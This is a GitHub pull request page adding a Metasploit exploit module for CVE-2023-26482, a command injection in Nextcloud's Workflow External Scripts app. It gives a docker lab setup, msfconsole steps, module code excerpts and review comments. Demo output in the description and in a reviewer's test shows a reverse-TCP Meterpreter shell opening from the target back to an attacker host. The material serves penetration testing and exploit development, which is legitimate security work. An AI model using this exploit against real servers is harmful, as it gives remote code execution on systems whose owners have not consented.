Skip to content

Add exploit module for the nextcloud workflow vulnerability CVE-2023-26482 #20020

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 12 commits into
base: master
Choose a base branch
from

Conversation

whotwagner
Copy link
Contributor

@whotwagner whotwagner commented Apr 10, 2025

This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0

Verification

This nextcloud-installation was created in a Virtualbox VM with the following specs:

This exploit was tested against a nextcloud docker container and docker-compose with the following docker-compose.yml:

volumes:
  nextcloud:
  db:

services:
  db:
    image: mariadb:10.6
    restart: always
    command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW
    volumes:
      - db:/var/lib/mysql
    environment:
      - MARIADB_ROOT_PASSWORD=root
      - MARIADB_PASSWORD=root
      - MARIADB_DATABASE=nextcloud
      - MARIADB_USER=nextcloud

  app:
    image: nextcloud:24.0.5
    restart: always
    ports:
      - 8080:80
    links:
      - db
    environment:
      - MYSQL_PASSWORD=root
      - MYSQL_DATABASE=nextcloud
      - MYSQL_USER=root
      - MYSQL_HOST=db
      - NEXTCLOUD_ADMIN_PASSWORD=admin
      - NEXTCLOUD_ADMIN_USER=admin
      - NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080"
    depends_on:
      - db

NOTE: Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup

After docker compose up -d login as admin and install the workflow app: "Workflow external script" and
create a low privileged user alice. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs".
Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the
payload doesn't get triggered:

docker exec -it -u www-data nextcloud-app-1 /bin/bash
watch -n2 php cron.php

Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php".

Verification Steps

NOTE: In my setup the msf-framework was installed on a different host. If you install it on the nextcloud-host, make sure that you change FETCH_SRVPORT: set FETCH_SRVPORT 8081

Example steps in this format (is also in the PR):

  1. Do: use exploit/unix/webapp/nextcloud_workflows_rce
  2. Do: set RHOSTS [ips]
  3. Do: set LHOST [lhost]
  4. Do: set RPORT 8080
  5. Do: set USERNAME alice
  6. Do: set PASSWORD alice-password
  7. Do: run
  8. You should get a shell after a while

The following demo shows how to use the exploit:

msf6 > use exploit/unix/webapp/nextcloud_workflows_rce
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64
RHOSTS => 192.168.233.64
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080
RPORT => 8080
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice
USERNAME => alice
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa
PASSWORD => CaeD4ohchaiv5ieDooBa
msf6 exploit(unix/webapp/nextcloud_workflows_rce) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.233.64
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000
[+] Payload connected!
[*] Cleaning up

meterpreter > getuid
Server username: www-data

}
]
],
'CmdStagerFlavor' => %w[bourne curl wget printf echo],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think you included the CmdStager mixin inside the module, this option is probably going to be ignored.

register_options(
[
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit to connect back', 960]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use WsfDelay here and remove all the handling code related to this.

'DefaultOptions' => { 'WfsDelay' => 24.hours.seconds.to_i },

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I am not sure about WsfDelay. Because later I do some cleanup-stuff after the payload connects to the listener. I don't know how to rearange that with WsfDelay.

Comment on lines 190 to 209
# At the end of the module, especially for reverse_tcp payloads, wait for
# the payload to connect back to us. There's a very high probability we
# will lose the payload's signal otherwise.
#
# copied from: linux/http/huawei_hg532n_cmdinject.rb
#
def wait_for_payload_session
print_status 'Waiting for the payload to connect back ..'
begin
Timeout.timeout(datastore['ListenerTimeout']) do
loop do
break if session_created?

Rex.sleep(0.25)
end
end
rescue ::Timeout::Error
fail_with(Failure::Unknown, 'Timeout waiting for payload to start/connect-back')
end
print_good 'Payload connected!'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Probably this is not necessary with MsfDelay

Comment on lines +237 to +239
when :linux_dropper
execute_cmdstager
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CmdStager mixin is missing. is there any reason you would prefer the CmdStager instead of the FetchPayload ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

there is no reason for that. is it sufficient to delete the CmdStagerFlavor-option and change the payload to a fetch-payload? or do I have to change the structure of the exploit-method as well?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you can just change payload to fetch payload, or more precisely, just remove linux_dropper because cmd/linux/http/x64/meterpreter/reverse_tcp is already fetch payload. Furthermore, you can use new FETCH_PIPE option to generate two-stage payload execution.

Comment on lines +243 to +266
print_status('Sending payload..')
temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
flow_id = create_workflow(cmd.to_s)

fail_with(Failure::Unreachable, 'Unable to create workflow') if flow_id.nil?

print_good('Workflow created')

Thread.new do
# wait a bit until wait_for_payload_session
# is up'n'running
Rex::ThreadSafe.sleep(10)
upload_file(temp_filename)
end

wait_for_payload_session

if flow_id
print_status('Cleaning up')
delete_workflow(flow_id)
end

delete_file(datastore['USERNAME'], temp_filename)
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Probably this can be re-arranged if the MsfDelay works fine.

Comment on lines +251 to +258
Thread.new do
# wait a bit until wait_for_payload_session
# is up'n'running
Rex::ThreadSafe.sleep(10)
upload_file(temp_filename)
end

wait_for_payload_session
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to make this sequential, but just reverse the order? Something like:

Suggested change
Thread.new do
# wait a bit until wait_for_payload_session
# is up'n'running
Rex::ThreadSafe.sleep(10)
upload_file(temp_filename)
end
wait_for_payload_session
wait_for_payload_session
upload_file(temp_filename)

Or is there a reason why the thread has to be here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As far as I know is wait_for_payload_session a blocking method. This method waits until the uploaded file triggers the payload. That's why I put the upload with a delay in background and execute wait_for_payload_session in forground

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wouldn't work just upload and then wait? From my very brief testing, it seemed like it's working. But that was just quick test, maybe your testing proved otherwise.

@msutovsky-r7 msutovsky-r7 moved this from Todo to Waiting on Contributor in Metasploit Kanban Apr 11, 2025
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sorry, I meant if you can remove this file from commit. You can of course leave it be, but it shouldn't be included in commit.

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exploit seemed to be working:

msf6 exploit(unix/webapp/nextcloud_workflows_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.152:4444 
[*] Sending payload..
[+] Workflow created
[*] Waiting for the payload to connect back ..
[*] Sending stage (3045380 bytes) to 192.168.168.151
[*] Meterpreter session 2 opened (192.168.168.152:4444 -> 192.168.168.151:44250) at 2025-04-16 11:08:26 +0200
[+] Payload connected!
[*] Cleaning up

meterpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-52-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Comment on lines +237 to +239
when :linux_dropper
execute_cmdstager
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you can just change payload to fetch payload, or more precisely, just remove linux_dropper because cmd/linux/http/x64/meterpreter/reverse_tcp is already fetch payload. Furthermore, you can use new FETCH_PIPE option to generate two-stage payload execution.

Comment on lines +251 to +258
Thread.new do
# wait a bit until wait_for_payload_session
# is up'n'running
Rex::ThreadSafe.sleep(10)
upload_file(temp_filename)
end

wait_for_payload_session
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wouldn't work just upload and then wait? From my very brief testing, it seemed like it's working. But that was just quick test, maybe your testing proved otherwise.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Waiting on Contributor
Development

Successfully merging this pull request may close these issues.

3 participants